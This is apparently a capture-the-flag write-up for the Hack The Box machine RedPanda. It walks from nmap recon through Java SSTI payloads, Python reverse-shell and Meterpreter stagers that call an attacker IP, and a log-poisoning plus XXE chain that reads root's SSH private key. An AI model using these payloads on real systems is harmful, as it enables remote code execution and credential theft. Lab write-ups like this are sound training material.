HTB RedPanda

August 31, 2022 6-minute read

ctf • linux • ssti • xxe • easy • htb

recon Link to heading

ip: 10.10.11.170

nmap Link to heading

1sudo nmap -sC -sV -oA panda redpanda.htb

 1Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-30 18:42 AWST
 2Nmap scan report for redpanda.htb (10.10.11.170)
 3Host is up (0.27s latency).
 4Not shown: 998 closed tcp ports (reset)
 5PORT     STATE SERVICE    VERSION
 622/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
 7| ssh-hostkey: 
 8|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
 9|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
10|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
118080/tcp open  http-proxy
12|_http-open-proxy: Proxy might be redirecting requests
13Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
14Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
15Nmap done: 1 IP address (1 host up) scanned in 41.05 seconds

port 8080 enum Link to heading

We can use some tools while we browsing the website that appears to be just a simple website with one search field..

seems there is some sort of injection there.. let’s use dirb and nikto for starters, as usual..

1dirb http://redpanda.htb:8080/

1nikto -host http://redpanda.htb:8080/

//TODO: check the stuff above

SSTI Link to heading

as usual, hacktricks is very useful. there is a bunch of things we could test for the user input field.

Since there was a hint on the webiste about injection, we’re gonna check injections for now and se how it goes. Checking those off one by one gave us a hint that there might be Server Side Template Injection (SSTI). ${{<%[%'">}}%\. gives us the following error:

Next step is to find out the template engine in use.

1
2
3
4
5


{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

We didn’t get results, but I think it’s still vulnerable. According to PayloadAllTheThings

So, let’s try other variations

1#{7*7}
2*{7*7} 
3@{7*7} 
4~{7*7}

*{7*7} worked and we got the output. So, we can say the engine is java.

let’s try to retrieve /etc/passwd

1*{T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

The second payload worked fine though

1*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd").getInputStream())}

we can see there is a user woodenk. we can try to upload nc to get a shell

1*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("wget http://10.10.14.12/nc -o ./nc").getInputStream())}

now, setup a listener and call our machine from the box.

1*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("/tmp/nc -c /bin/sh 10.10.14.12 4444").getInputStream())}

For some reason it didn’t work.. maybe we’re not allowed to write or execute it.

Let’s check if there is a python there..

It is indeed exists. We can try to create a reverse shell and call our machine: shell.py:

1import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")

payloads:

1*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("wget http://10.10.14.12/shell.py -O /tmp/shell.py").getInputStream())}
2
3//execute
4*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("python3 /tmp/shell.py").getInputStream())}

got the shell, it’s a bit weird tho, but should be enough for the user flag for now.

upgrading the shell Link to heading

Let’s get a proper shell now… Generate a python meterpreter payload via msfvenom

1msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=44

Setup a meterpreter listener

on the victim’s machine run python3 and execute the following

1exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjEwLjE0LjEyJyw0NDQzKSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZShkKSkseydzJzpzfSkK')[0]))

Get a proper shell.

privEsc Link to heading

We can upload linpeas and do the enumeration.

got some results right away:

and here is a GitHub CVE-2021-3560-Polkit-Privilege-Esclation PoC didn’t work… We got some ‘interesting’ files.

and some other stuff that we can read but belong to root:

 1cat /opt/cleanup.sh
 2
 3#!/bin/bash
 4/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
 5/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
 6/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
 7/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
 8/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
 9/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
10/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
11/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;

So it seems it removes files from various directories. More specifically, files are either XML or jpg.

//TODO: find the Java app that the web server hosts and check the source code.

There is a jar file that we can download and try to decompile using Java Decompiler

Main function seems to be reading the log file from /opt/panda_search/redpanda.log line by line.

it must contain the image
It also seems that parseLog method splits the string using the following delimiter "\\|\\|" and it splits the string into 4 parts
- integer
- 3 other are strings, while the last one should be the actual link to the .jpg image.
the image must contain metadata for the Artist and the value must match the pattern /credits/<artist>_creds.xml.

So, it seems we can try to craft our log file bud we also need specific jpg and xml files. Let’s create them

crafting jpg and xml files Link to heading

crafting jpg Link to heading

Note: we don’t have write permissions to the /credits directory. So, we will need to upload our files to /tmp and then use directory traversal to that folder since there is no input sanitisation in the source code. We may use the Artist tag to do so. First, get any image of the Internet. and use exiftool to add the tag with the value of ../tmp/test.

1exiftool -Artist="../tmp"  test.jpg

crafting XML Link to heading

there are two files in the /credits dir that we can base our payload of.

 1cat /credits/woodenk_creds.xml
 2<?xml version="1.0" encoding="UTF-8"?>
 3<credits>
 4  <author>woodenk</author>
 5  <image>
 6    <uri>/img/greg.jpg</uri>
 7    <views>1</views>
 8  </image>
 9  <image>
10    <uri>/img/hungy.jpg</uri>
11    <views>1</views>
12  </image>
13  <image>
14    <uri>/img/smooch.jpg</uri>
15    <views>0</views>
16  </image>
17  <image>
18    <uri>/img/smiley.jpg</uri>
19    <views>0</views>
20  </image>
21  <totalviews>2</totalviews>
22</credits>

based on the part of the Java source code we can see what exactly we need in the file

So, tags are: image, uri, totalviews, and views. Given there is a ssh port open, there must be id_rsa for the root that I can possibly get via XXE. Let’s try… XML payload will look like the following REFERENCE test_creds.xml file

 1<?xml version="1.0" encoding="UTF-8"?>
 2<!DOCTYPE foo [
 3   <!ELEMENT foo ANY >
 4   <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa" >]>
 5<credits>
 6  <author>test</author>
 7  <image>
 8    <uri>/../../../../../../tmp/test.jpg</uri>
 9    <views>1</views>
10    <foo>&xxe;</foo>
11  </image>
12  <totalviews>2</totalviews>
13</credits>

crafting log file Link to heading

Now we need to meet some conditions for the log file and add our string in there. We also need to point the Java app to our image file that we put in /tmp. The existing log looks as following:

1200||10.10.14.12||Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0||/search
2200||10.10.14.12||Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0||/search
3[REDACTED]

So, our addition to the log will look as following:

1200||test||test||/../../../../../../tmp/test.jpg

Now, upload everything and append the above string to the log file

1echo "200||test||test||/../../../../../../tmp/test.jpg" > /opt/panda_search/redpanda.log

ssh as root Link to heading

Just wait for a little bit until the log file is emptied by the script and read the test.xml file, we should get the key there that we can copy and use to ssh as root.

1chmod 600 key_nice
2ssh -i key_nice root@redpanda.htb

we’re root and can read the flag